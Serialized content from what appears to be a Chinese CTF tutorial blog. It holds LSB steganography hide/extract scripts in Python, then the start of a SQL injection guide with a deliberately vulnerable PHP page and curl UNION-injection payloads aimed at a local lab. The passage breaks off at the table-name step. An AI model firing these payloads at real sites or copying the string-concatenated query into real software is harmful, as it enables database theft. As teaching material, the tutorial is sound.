隐藏（出题人视角）",[16,3642,3643,3645],{},[136,3644,138],{},"：理解\"把秘密写进像素最低位\"的具体实现，便于反向写出提取脚本。",[23,3647,3649],{"className":1238,"code":3648,"language":1240,"meta":28,"style":28},"from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、修改、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建一张图片。\n# mode='RGB' 表示三通道；size=(8,8)；color=(200,150,100) 是初始颜色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# message.encode()：把字符串按 UTF-8 转成字节串。\n# 末尾追加 b'\\x00'（字节 0）作为结束符，提取时遇到 0 就停止。\nbits = ''.join(f'{b:08b}' for b in data)\n# 把每个字节转成 8 位二进制字符串并拼接。\n# 例：b'f'=0x66=01100110，8 位拼进 bits。\npixels = list(img.getdata())\n# img.getdata()：返回所有像素的迭代器，转成列表后每项是 (r,g,b) 三元组。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n    if i \u003C len(bits):\n        r = (r & 0xfe) | int(bits[i]); i += 1\n        # r & 0xfe：把红色通道的最低位清零（0xfe=11111110）。\n        # | int(bits[i])：把秘密比特写进最低位；i 是当前比特下标。\n    if i \u003C len(bits):\n        g = (g & 0xfe) | int(bits[i]); i += 1\n        # 绿色通道同样处理。\n    if i \u003C len(bits):\n        b = (b & 0xfe) | int(bits[i]); i += 1\n        # 蓝色通道同样处理。三个通道依次消耗秘密比特。\n    new_pixels.append((r, g, b))\n    # 修改后的像素放入新列表。\n\nimg.putdata(new_pixels)\n# putdata()：把新像素列表写回图片对象。\nimg.save('hidden.png')\n# save()：按扩展名格式保存为 PNG 文件。\nprint(\"已生成 hidden.png\")\n",[30,3650,3651,3656,3661,3665,3670,3675,3680,3685,3689,3694,3699,3704,3709,3714,3719,3724,3729,3733,3738,3743,3748,3753,3758,3763,3768,3773,3779,3785,3790,3796,3802,3808,3814,3819,3825,3831,3837,3843],{"__ignoreMap":28},[33,3652,3653],{"class":35,"line":36},[33,3654,3655],{},"from PIL import Image\n",[33,3657,3658],{"class":35,"line":47},[33,3659,3660],{},"# PIL 是 Python 图像处理库，Image 模块负责打开、修改、保存图片。\n",[33,3662,3663],{"class":35,"line":70},[33,3664,1460],{"emptyLinePlaceholder":1373},[33,3666,3667],{"class":35,"line":80},[33,3668,3669],{},"img = Image.new('RGB', (8, 8), (200, 150, 100))\n",[33,3671,3672],{"class":35,"line":452},[33,3673,3674],{},"# Image.new(mode, size, color)：新建一张图片。\n",[33,3676,3677],{"class":35,"line":458},[33,3678,3679],{},"# mode='RGB' 表示三通道；size=(8,8)；color=(200,150,100) 是初始颜色。\n",[33,3681,3682],{"class":35,"line":464},[33,3683,3684],{},"message = \"flag{lsb_steganography}\"\n",[33,3686,3687],{"class":35,"line":470},[33,3688,1460],{"emptyLinePlaceholder":1373},[33,3690,3691],{"class":35,"line":476},[33,3692,3693],{},"data = message.encode() + b'\\x00'\n",[33,3695,3696],{"class":35,"line":482},[33,3697,3698],{},"# message.encode()：把字符串按 UTF-8 转成字节串。\n",[33,3700,3701],{"class":35,"line":1295},[33,3702,3703],{},"# 末尾追加 b'\\x00'（字节 0）作为结束符，提取时遇到 0 就停止。\n",[33,3705,3706],{"class":35,"line":1301},[33,3707,3708],{},"bits = ''.join(f'{b:08b}' for b in data)\n",[33,3710,3711],{"class":35,"line":1505},[33,3712,3713],{},"# 把每个字节转成 8 位二进制字符串并拼接。\n",[33,3715,3716],{"class":35,"line":1511},[33,3717,3718],{},"# 例：b'f'=0x66=01100110，8 位拼进 bits。\n",[33,3720,3721],{"class":35,"line":1517},[33,3722,3723],{},"pixels = list(img.getdata())\n",[33,3725,3726],{"class":35,"line":1523},[33,3727,3728],{},"# img.getdata()：返回所有像素的迭代器，转成列表后每项是 (r,g,b) 三元组。\n",[33,3730,3731],{"class":35,"line":1529},[33,3732,1460],{"emptyLinePlaceholder":1373},[33,3734,3735],{"class":35,"line":1535},[33,3736,3737],{},"new_pixels = []\n",[33,3739,3740],{"class":35,"line":1541},[33,3741,3742],{},"i = 0\n",[33,3744,3745],{"class":35,"line":2981},[33,3746,3747],{},"for r, g, b in pixels:\n",[33,3749,3750],{"class":35,"line":2987},[33,3751,3752],{},"    if i \u003C len(bits):\n",[33,3754,3755],{"class":35,"line":2993},[33,3756,3757],{},"        r = (r & 0xfe) | int(bits[i]); i += 1\n",[33,3759,3760],{"class":35,"line":2999},[33,3761,3762],{},"        # r & 0xfe：把红色通道的最低位清零（0xfe=11111110）。\n",[33,3764,3765],{"class":35,"line":3005},[33,3766,3767],{},"        # | int(bits[i])：把秘密比特写进最低位；i 是当前比特下标。\n",[33,3769,3771],{"class":35,"line":3770},25,[33,3772,3752],{},[33,3774,3776],{"class":35,"line":3775},26,[33,3777,3778],{},"        g = (g & 0xfe) | int(bits[i]); i += 1\n",[33,3780,3782],{"class":35,"line":3781},27,[33,3783,3784],{},"        # 绿色通道同样处理。\n",[33,3786,3788],{"class":35,"line":3787},28,[33,3789,3752],{},[33,3791,3793],{"class":35,"line":3792},29,[33,3794,3795],{},"        b = (b & 0xfe) | int(bits[i]); i += 1\n",[33,3797,3799],{"class":35,"line":3798},30,[33,3800,3801],{},"        # 蓝色通道同样处理。三个通道依次消耗秘密比特。\n",[33,3803,3805],{"class":35,"line":3804},31,[33,3806,3807],{},"    new_pixels.append((r, g, b))\n",[33,3809,3811],{"class":35,"line":3810},32,[33,3812,3813],{},"    # 修改后的像素放入新列表。\n",[33,3815,3817],{"class":35,"line":3816},33,[33,3818,1460],{"emptyLinePlaceholder":1373},[33,3820,3822],{"class":35,"line":3821},34,[33,3823,3824],{},"img.putdata(new_pixels)\n",[33,3826,3828],{"class":35,"line":3827},35,[33,3829,3830],{},"# putdata()：把新像素列表写回图片对象。\n",[33,3832,3834],{"class":35,"line":3833},36,[33,3835,3836],{},"img.save('hidden.png')\n",[33,3838,3840],{"class":35,"line":3839},37,[33,3841,3842],{},"# save()：按扩展名格式保存为 PNG 文件。\n",[33,3844,3846],{"class":35,"line":3845},38,[33,3847,3848],{},"print(\"已生成 hidden.png\")\n",[16,3850,3851,3854,3855,3858,3859,3862],{},[30,3852,3853],{},"r & 0xfe"," 把最低位清零（",[30,3856,3857],{},"0xfe = 11111110","），",[30,3860,3861],{},"| bit"," 写入目标比特。",[147,3864,3866],{"id":3865},"_53-提取解题视角","5.3 提取（解题视角）",[16,3868,3869,3871],{},[136,3870,138],{},"：把像素最低位收集起来，按 8 位一组还原成字节，得到隐藏消息。",[16,3873,3874,3876],{},[136,3875,144],{},"：读取所有像素 → 依次取 R、G、B 的最低位 → 每 8 个比特拼成一个字节 → 遇到 0 结束。",[23,3878,3880],{"className":1238,"code":3879,"language":1240,"meta":28,"style":28},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open(path)：打开图片文件。\n# .convert('RGB')：统一转成 RGB 模式，避免调色板/透明度干扰。\nbits = []\nfor r, g, b in img.getdata():\n    bits += [r & 1, g & 1, b & 1]\n    # r & 1：取出红色通道最低位（0 或 1），绿、蓝同理。\n    # 三个最低位依次追加到 bits，顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n    # range 步长 8：每 8 个比特处理一次，组成 1 字节。\n    byte = 0\n    for bit in bits[i:i+8]:\n        byte = (byte \u003C\u003C 1) | bit\n        # 左移一位再或上新比特，等价于二进制拼接。\n        # 例：1,0,1 → ((1\u003C\u003C1)|0)=2, (2\u003C\u003C1)|1=5，即二进制 101。\n    if byte == 0:\n        # 字节 0 是隐藏时追加的结束符，到此停止。\n        break\n    data.append(byte)\n\nprint(data.decode())\n# decode()：字节串按 UTF-8 解码成字符串显示。\n",[30,3881,3882,3886,3890,3895,3900,3905,3910,3915,3920,3925,3930,3934,3939,3944,3949,3954,3959,3964,3969,3974,3979,3984,3988,3993,3997,4002],{"__ignoreMap":28},[33,3883,3884],{"class":35,"line":36},[33,3885,3655],{},[33,3887,3888],{"class":35,"line":47},[33,3889,1460],{"emptyLinePlaceholder":1373},[33,3891,3892],{"class":35,"line":70},[33,3893,3894],{},"img = Image.open('hidden.png').convert('RGB')\n",[33,3896,3897],{"class":35,"line":80},[33,3898,3899],{},"# Image.open(path)：打开图片文件。\n",[33,3901,3902],{"class":35,"line":452},[33,3903,3904],{},"# .convert('RGB')：统一转成 RGB 模式，避免调色板/透明度干扰。\n",[33,3906,3907],{"class":35,"line":458},[33,3908,3909],{},"bits = []\n",[33,3911,3912],{"class":35,"line":464},[33,3913,3914],{},"for r, g, b in img.getdata():\n",[33,3916,3917],{"class":35,"line":470},[33,3918,3919],{},"    bits += [r & 1, g & 1, b & 1]\n",[33,3921,3922],{"class":35,"line":476},[33,3923,3924],{},"    # r & 1：取出红色通道最低位（0 或 1），绿、蓝同理。\n",[33,3926,3927],{"class":35,"line":482},[33,3928,3929],{},"    # 三个最低位依次追加到 bits，顺序与隐藏时一致。\n",[33,3931,3932],{"class":35,"line":1295},[33,3933,1460],{"emptyLinePlaceholder":1373},[33,3935,3936],{"class":35,"line":1301},[33,3937,3938],{},"data = bytearray()\n",[33,3940,3941],{"class":35,"line":1505},[33,3942,3943],{},"for i in range(0, len(bits) - 7, 8):\n",[33,3945,3946],{"class":35,"line":1511},[33,3947,3948],{},"    # range 步长 8：每 8 个比特处理一次，组成 1 字节。\n",[33,3950,3951],{"class":35,"line":1517},[33,3952,3953],{},"    byte = 0\n",[33,3955,3956],{"class":35,"line":1523},[33,3957,3958],{},"    for bit in bits[i:i+8]:\n",[33,3960,3961],{"class":35,"line":1529},[33,3962,3963],{},"        byte = (byte \u003C\u003C 1) | bit\n",[33,3965,3966],{"class":35,"line":1535},[33,3967,3968],{},"        # 左移一位再或上新比特，等价于二进制拼接。\n",[33,3970,3971],{"class":35,"line":1541},[33,3972,3973],{},"        # 例：1,0,1 → ((1\u003C\u003C1)|0)=2, (2\u003C\u003C1)|1=5，即二进制 101。\n",[33,3975,3976],{"class":35,"line":2981},[33,3977,3978],{},"    if byte == 0:\n",[33,3980,3981],{"class":35,"line":2987},[33,3982,3983],{},"        # 字节 0 是隐藏时追加的结束符，到此停止。\n",[33,3985,3986],{"class":35,"line":2993},[33,3987,2672],{},[33,3989,3990],{"class":35,"line":2999},[33,3991,3992],{},"    data.append(byte)\n",[33,3994,3995],{"class":35,"line":3005},[33,3996,1460],{"emptyLinePlaceholder":1373},[33,3998,3999],{"class":35,"line":3770},[33,4000,4001],{},"print(data.decode())\n",[33,4003,4004],{"class":35,"line":3775},[33,4005,4006],{},"# decode()：字节串按 UTF-8 解码成字符串显示。\n",[16,4008,2432],{},[23,4010,4013],{"className":4011,"code":4012,"language":175,"meta":28},[173],"flag{lsb_steganography}\n",[30,4014,4012],{"__ignoreMap":28},[147,4016,4018],{"id":4017},"_54-现成工具","5.4 现成工具",[23,4020,4022],{"className":25,"code":4021,"language":27,"meta":28,"style":28},"gem install zsteg\nzsteg -a hidden.png\n",[30,4023,4024,4034],{"__ignoreMap":28},[33,4025,4026,4029,4031],{"class":35,"line":36},[33,4027,4028],{"class":39},"gem",[33,4030,106],{"class":43},[33,4032,4033],{"class":43}," zsteg\n",[33,4035,4036,4039,4042],{"class":35,"line":47},[33,4037,4038],{"class":39},"zsteg",[33,4040,4041],{"class":241}," -a",[33,4043,3414],{"class":43},[16,4045,4046,4049],{},[30,4047,4048],{},"-a"," 全自动检测各种 LSB 变体。",[11,4051,1038],{"id":1037},[490,4053,4054,4065],{},[493,4055,4056],{},[496,4057,4058,4060,4062],{},[499,4059,1047],{},[499,4061,1050],{},[499,4063,4064],{},"命令",[506,4066,4067,4079,4092,4108],{},[496,4068,4069,4071,4074],{},[511,4070,163],{},[511,4072,4073],{},"看类型、看编码、看无后缀文件",[511,4075,4076],{},[30,4077,4078],{},"file flag",[496,4080,4081,4084,4087],{},[511,4082,4083],{},"xxd / hexdump",[511,4085,4086],{},"查看文件头、指定长度",[511,4088,4089],{},[30,4090,4091],{},"xxd -l 16 flag.png",[496,4093,4094,4096,4099],{},[511,4095,209],{},[511,4097,4098],{},"提取字符串、指定长度、管道过滤",[511,4100,4101,264,4104,264,4106],{},[30,4102,4103],{},"strings flag.png",[30,4105,1082],{},[30,4107,1085],{},[496,4109,4110,4112,4115],{},[511,4111,3563],{},[511,4113,4114],{},"扫描、提取",[511,4116,4117,264,4120],{},[30,4118,4119],{},"binwalk flag.png",[30,4121,4122],{},"binwalk -e flag.png",[11,4124,4126],{"id":4125},"七小-ctf-实战藏了-flag-的-png","七、小 CTF 实战：藏了 flag 的 PNG",[16,4128,1136,4129,301],{},[30,4130,4131],{},"flag.png",[16,4133,4134],{},"第一步：",[23,4136,4138],{"className":25,"code":4137,"language":27,"meta":28,"style":28},"file flag.png\n",[30,4139,4140],{"__ignoreMap":28},[33,4141,4142,4144],{"class":35,"line":36},[33,4143,163],{"class":39},[33,4145,3566],{"class":43},[16,4147,298,4148,301],{},[30,4149,4150],{},"PNG image data",[16,4152,4153],{},"第二步：",[23,4155,4156],{"className":25,"code":3525,"language":27,"meta":28,"style":28},[30,4157,4158],{"__ignoreMap":28},[33,4159,4160,4162,4164,4166,4168,4170],{"class":35,"line":36},[33,4161,209],{"class":39},[33,4163,3442],{"class":43},[33,4165,400],{"class":56},[33,4167,403],{"class":39},[33,4169,3540],{"class":241},[33,4171,3543],{"class":43},[16,4173,4174],{},"无输出。",[16,4176,4177],{},"第三步：",[23,4179,4180],{"className":25,"code":3556,"language":27,"meta":28,"style":28},[30,4181,4182],{"__ignoreMap":28},[33,4183,4184,4186],{"class":35,"line":36},[33,4185,3563],{"class":39},[33,4187,3566],{"class":43},[16,4189,4190],{},"无隐藏文件。",[16,4192,4193],{},"第四步：怀疑 LSB，运行提取脚本，输出：",[23,4195,4197],{"className":4196,"code":4012,"language":175,"meta":28},[173],[30,4198,4012],{"__ignoreMap":28},[11,4200,1337],{"id":1336},[16,4202,4203,4204,4206,4207,1125,4209,4211],{},"Misc 入门三板斧：",[30,4205,163],{}," 看类型、",[30,4208,209],{},[30,4210,3563],{}," 排除简单情况、LSB 脚本提数据。音频隐写（Audacity 频谱图）、ZIP 伪加密、USB 流量分析在《隐写与取证深入实战》中完整展开。",[1350,4213,4214],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":28,"searchDepth":47,"depth":47,"links":4216},[4217,4218,4219,4220,4221,4222,4223,4224],{"id":3275,"depth":70,"text":3276},{"id":89,"depth":70,"text":90},{"id":3387,"depth":70,"text":3388},{"id":3549,"depth":70,"text":3550},{"id":3619,"depth":70,"text":3620},{"id":1037,"depth":70,"text":1038},{"id":4125,"depth":70,"text":4126},{"id":1336,"depth":70,"text":1337},"杂项三板斧：file/xxd 识别文件头、binwalk 提取隐藏文件、Python 实现 LSB 隐写的隐藏与提取。",{"date":1366,"image":4227,"alt":4228,"tags":4229,"published":1373},"/blogs-img/blog4.png","CTF Misc 入门",[1370,4230],"misc","/blogs/ctf-misc-overview",{"title":3270,"description":4225},"blogs/13. ctf-misc-overview","XI4JQUKrJS4uak8Rm3ioTk2L2WukeCdhI54Ldj4FkRo",{"id":4236,"title":4237,"body":4238,"description":5630,"extension":1364,"meta":5631,"navigation":1373,"ogImage":5632,"path":5637,"seo":5638,"stem":5639,"__hash__":5640},"content/blogs/14. ctf-web-sql-injection-deep-dive.md","SQL 注入深入实战：判断、UNION 拖库、盲注与防御",{"type":8,"value":4239,"toc":5619},[4240,4244,4247,4264,4274,4285,4292,4296,4300,4333,4339,4343,4346,4381,4386,4434,4440,4446,4450,4459,4464,4468,4473,4492,4494,4500,4504,4509,4525,4528,4534,4541,4545,4561,4567,4571,4587,4590,4604,4608,4613,4618,4625,4629,4637,4686,4689,4693,4701,4717,4723,4727,4743,4747,4751,4767,4772,4776,4792,4796,4811,4815,4831,4836,4842,4846,4851,4854,4858,4874,4879,4895,4900,4903,4912,5049,5052,5058,5062,5069,5085,5088,5092,5097,5101,5106,5129,5131,5137,5141,5161,5166,5170,5202,5209,5213,5257,5266,5273,5277,5282,5288,5458,5461,5473,5475,5481,5484,5605,5609,5616],[11,4241,4243],{"id":4242},"一现实背景sql-是怎么被拼出来的","一、现实背景：SQL 是怎么被拼出来的",[16,4245,4246],{},"普通程序员的查询代码：",[23,4248,4252],{"className":4249,"code":4250,"language":4251,"meta":28,"style":28},"language-php shiki shiki-themes dracula","$id = $_GET['id'];\n$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n","php",[30,4253,4254,4259],{"__ignoreMap":28},[33,4255,4256],{"class":35,"line":36},[33,4257,4258],{},"$id = $_GET['id'];\n",[33,4260,4261],{"class":35,"line":47},[33,4262,4263],{},"$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n",[16,4265,4266,4269,4270,4273],{},[30,4267,4268],{},"$id"," 被直接拼进 SQL 字符串。当 ",[30,4271,4272],{},"id=1 OR 1=1"," 时：",[23,4275,4279],{"className":4276,"code":4277,"language":4278,"meta":28,"style":28},"language-sql shiki shiki-themes dracula","SELECT id, title FROM articles WHERE id = 1 OR 1=1\n","sql",[30,4280,4281],{"__ignoreMap":28},[33,4282,4283],{"class":35,"line":36},[33,4284,4277],{},[16,4286,4287,4288,4291],{},"恒真，返回全表。",[136,4289,4290],{},"用户输入从\"数据\"变成了\"代码\"","，这就是 SQL 注入。",[11,4293,4295],{"id":4294},"二环境搭建二选一","二、环境搭建（二选一）",[147,4297,4299],{"id":4298},"方式-asqli-labs-靶场","方式 A：sqli-labs 靶场",[23,4301,4303],{"className":25,"code":4302,"language":27,"meta":28,"style":28},"git clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000\n",[30,4304,4305,4316,4323],{"__ignoreMap":28},[33,4306,4307,4310,4313],{"class":35,"line":36},[33,4308,4309],{"class":39},"git",[33,4311,4312],{"class":43}," clone",[33,4314,4315],{"class":43}," https://github.com/Audi-1/sqli-labs.git\n",[33,4317,4318,4320],{"class":35,"line":47},[33,4319,771],{"class":770},[33,4321,4322],{"class":43}," sqli-labs\n",[33,4324,4325,4327,4330],{"class":35,"line":70},[33,4326,4251],{"class":39},[33,4328,4329],{"class":241}," -S",[33,4331,4332],{"class":43}," 127.0.0.1:8000\n",[16,4334,4335,4336,301],{},"浏览器访问，点 \"Setup/reset Database\"，之后打 ",[30,4337,4338],{},"Less-1",[147,4340,4342],{"id":4341},"方式-b自建漏洞页本文以此讲解","方式 B：自建漏洞页（本文以此讲解）",[16,4344,4345],{},"数据库：",[23,4347,4349],{"className":4276,"code":4348,"language":4278,"meta":28,"style":28},"CREATE DATABASE ctf;\nUSE ctf;\nCREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag VARCHAR(100));\nINSERT INTO flag VALUES ('flag{sql_injection}');\n",[30,4350,4351,4356,4361,4366,4371,4376],{"__ignoreMap":28},[33,4352,4353],{"class":35,"line":36},[33,4354,4355],{},"CREATE DATABASE ctf;\n",[33,4357,4358],{"class":35,"line":47},[33,4359,4360],{},"USE ctf;\n",[33,4362,4363],{"class":35,"line":70},[33,4364,4365],{},"CREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\n",[33,4367,4368],{"class":35,"line":80},[33,4369,4370],{},"INSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\n",[33,4372,4373],{"class":35,"line":452},[33,4374,4375],{},"CREATE TABLE flag (flag VARCHAR(100));\n",[33,4377,4378],{"class":35,"line":458},[33,4379,4380],{},"INSERT INTO flag VALUES ('flag{sql_injection}');\n",[16,4382,4383,561],{},[30,4384,4385],{},"vuln.php",[23,4387,4389],{"className":4249,"code":4388,"language":4251,"meta":28,"style":28},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n$id = $_GET['id'];\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n$result = $conn->query($sql);\nwhile ($row = $result->fetch_assoc()) {\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n}\n?>\n",[30,4390,4391,4396,4401,4405,4410,4415,4420,4425,4429],{"__ignoreMap":28},[33,4392,4393],{"class":35,"line":36},[33,4394,4395],{},"\u003C?php\n",[33,4397,4398],{"class":35,"line":47},[33,4399,4400],{},"$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n",[33,4402,4403],{"class":35,"line":70},[33,4404,4258],{},[33,4406,4407],{"class":35,"line":80},[33,4408,4409],{},"$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n",[33,4411,4412],{"class":35,"line":452},[33,4413,4414],{},"$result = $conn->query($sql);\n",[33,4416,4417],{"class":35,"line":458},[33,4418,4419],{},"while ($row = $result->fetch_assoc()) {\n",[33,4421,4422],{"class":35,"line":464},[33,4423,4424],{},"    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n",[33,4426,4427],{"class":35,"line":470},[33,4428,1475],{},[33,4430,4431],{"class":35,"line":476},[33,4432,4433],{},"?>\n",[16,4435,4436,4437,301],{},"启动：",[30,4438,4439],{},"php -S 127.0.0.1:8000",[4441,4442,4443],"blockquote",{},[16,4444,4445],{},"说明：如果你的电脑不方便装 PHP+MySQL，可以跳过本节，用\"附录\"里的 Python+SQLite 模拟程序跑通同样的注入过程，原理完全一致。",[11,4447,4449],{"id":4448},"三核心步骤-1注入点判断","三、核心步骤 1：注入点判断",[16,4451,4452,4454,4455,4458],{},[136,4453,138],{},"：确认参数 ",[30,4456,4457],{},"id"," 能影响 SQL 逻辑，避免在非注入点上浪费时间。",[16,4460,4461,4463],{},[136,4462,144],{},"：用\"会破坏语法\"的单引号和\"改变查询条件\"的 AND 表达式做探测。单引号报错、恒真正常、恒假为空，三者齐备即确认。",[147,4465,4467],{"id":4466},"请求-1正常请求","请求 1：正常请求",[16,4469,4470,4472],{},[136,4471,138],{},"：记录正常响应的样子，作为后续对比的基线。",[23,4474,4476],{"className":25,"code":4475,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=1\"\n",[30,4477,4478],{"__ignoreMap":28},[33,4479,4480,4483,4486,4489],{"class":35,"line":36},[33,4481,4482],{"class":39},"curl",[33,4484,4485],{"class":412}," \"",[33,4487,4488],{"class":43},"http://127.0.0.1:8000/vuln.php?id=1",[33,4490,4491],{"class":412},"\"\n",[16,4493,169],{},[23,4495,4498],{"className":4496,"code":4497,"language":175,"meta":28},[173],"1 hello world\n",[30,4499,4497],{"__ignoreMap":28},[147,4501,4503],{"id":4502},"请求-2单引号","请求 2：单引号",[16,4505,4506,4508],{},[136,4507,138],{},"：判断输入是否被拼进 SQL。拼进去了，单引号就会破坏语法。",[23,4510,4512],{"className":25,"code":4511,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n",[30,4513,4514],{"__ignoreMap":28},[33,4515,4516,4518,4520,4523],{"class":35,"line":36},[33,4517,4482],{"class":39},[33,4519,4485],{"class":412},[33,4521,4522],{"class":43},"http://127.0.0.1:8000/vuln.php?id=1'",[33,4524,4491],{"class":412},[16,4526,4527],{},"预期输出（报错）：",[23,4529,4532],{"className":4530,"code":4531,"language":175,"meta":28},[173],"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version ...\n",[30,4533,4531],{"__ignoreMap":28},[16,4535,4536,4537,4540],{},"原因：语句变成 ",[30,4538,4539],{},"WHERE id = 1'","，单引号未闭合。",[147,4542,4544],{"id":4543},"请求-3and-11","请求 3：AND 1=1",[23,4546,4548],{"className":25,"code":4547,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n",[30,4549,4550],{"__ignoreMap":28},[33,4551,4552,4554,4556,4559],{"class":35,"line":36},[33,4553,4482],{"class":39},[33,4555,4485],{"class":412},[33,4557,4558],{"class":43},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1",[33,4560,4491],{"class":412},[16,4562,169,4563,4566],{},[30,4564,4565],{},"1 hello world","（条件真）。",[147,4568,4570],{"id":4569},"请求-4and-12","请求 4：AND 1=2",[23,4572,4574],{"className":25,"code":4573,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n",[30,4575,4576],{"__ignoreMap":28},[33,4577,4578,4580,4582,4585],{"class":35,"line":36},[33,4579,4482],{"class":39},[33,4581,4485],{"class":412},[33,4583,4584],{"class":43},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2",[33,4586,4491],{"class":412},[16,4588,4589],{},"预期输出：空（条件假）。",[16,4591,4592,4595,4596,4599,4600,4603],{},[136,4593,4594],{},"判定","：单引号报错 + ",[30,4597,4598],{},"1=1"," 正常 + ",[30,4601,4602],{},"1=2"," 为空 → 注入点确认。",[11,4605,4607],{"id":4606},"四核心步骤-2union-注入五步拖库","四、核心步骤 2：UNION 注入五步拖库",[16,4609,4610,4612],{},[136,4611,138],{},"：把数据库里的表和数据\"借\" UNION 查询显示到页面上。",[16,4614,4615,4617],{},[136,4616,144],{},"：UNION 合并两个查询，但要求列数一致；先把第一个查询置空（id=-1），再用回显列依次输出库名、表名、列名、数据。每一步都是下一步的前提：不知道库名就筛不出表，不知道表名就查不了列。",[16,4619,4620,4621,4624],{},"前提：第一个查询返回空（用 ",[30,4622,4623],{},"id=-1","），UNION 两个查询列数相同。",[147,4626,4628],{"id":4627},"第-1-步确定列数","第 1 步：确定列数",[16,4630,4631,561,4633,4636],{},[136,4632,144],{},[30,4634,4635],{},"ORDER BY N"," 按第 N 列排序，N 超过实际列数时报错。从 1 试到报错为止，报错前的 N 就是列数。",[23,4638,4640],{"className":25,"code":4639,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4\"\n",[30,4641,4642,4653,4664,4675],{"__ignoreMap":28},[33,4643,4644,4646,4648,4651],{"class":35,"line":36},[33,4645,4482],{"class":39},[33,4647,4485],{"class":412},[33,4649,4650],{"class":43},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1",[33,4652,4491],{"class":412},[33,4654,4655,4657,4659,4662],{"class":35,"line":47},[33,4656,4482],{"class":39},[33,4658,4485],{"class":412},[33,4660,4661],{"class":43},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2",[33,4663,4491],{"class":412},[33,4665,4666,4668,4670,4673],{"class":35,"line":70},[33,4667,4482],{"class":39},[33,4669,4485],{"class":412},[33,4671,4672],{"class":43},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3",[33,4674,4491],{"class":412},[33,4676,4677,4679,4681,4684],{"class":35,"line":80},[33,4678,4482],{"class":39},[33,4680,4485],{"class":412},[33,4682,4683],{"class":43},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4",[33,4685,4491],{"class":412},[16,4687,4688],{},"前三条正常，第四条报错 → 共 3 列。",[147,4690,4692],{"id":4691},"第-2-步确认回显位","第 2 步：确认回显位",[16,4694,4695,561,4697,4700],{},[136,4696,144],{},[30,4698,4699],{},"SELECT 1,2,3"," 的数字会显示在页面上，显示的哪个数字对应哪一列，哪一列就能用来输出数据。",[23,4702,4704],{"className":25,"code":4703,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n",[30,4705,4706],{"__ignoreMap":28},[33,4707,4708,4710,4712,4715],{"class":35,"line":36},[33,4709,4482],{"class":39},[33,4711,4485],{"class":412},[33,4713,4714],{"class":43},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+",[33,4716,4491],{"class":412},[16,4718,169,4719,4722],{},[30,4720,4721],{},"2 3","。第 2、3 列内容会显示，作为后续输出位置。",[147,4724,4726],{"id":4725},"第-3-步查数据库名","第 3 步：查数据库名",[23,4728,4730],{"className":25,"code":4729,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n",[30,4731,4732],{"__ignoreMap":28},[33,4733,4734,4736,4738,4741],{"class":35,"line":36},[33,4735,4482],{"class":39},[33,4737,4485],{"class":412},[33,4739,4740],{"class":43},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+",[33,4742,4491],{"class":412},[16,4744,169,4745,301],{},[30,4746,1370],{},[147,4748,4750],{"id":4749},"第-4-步查表名","第 4 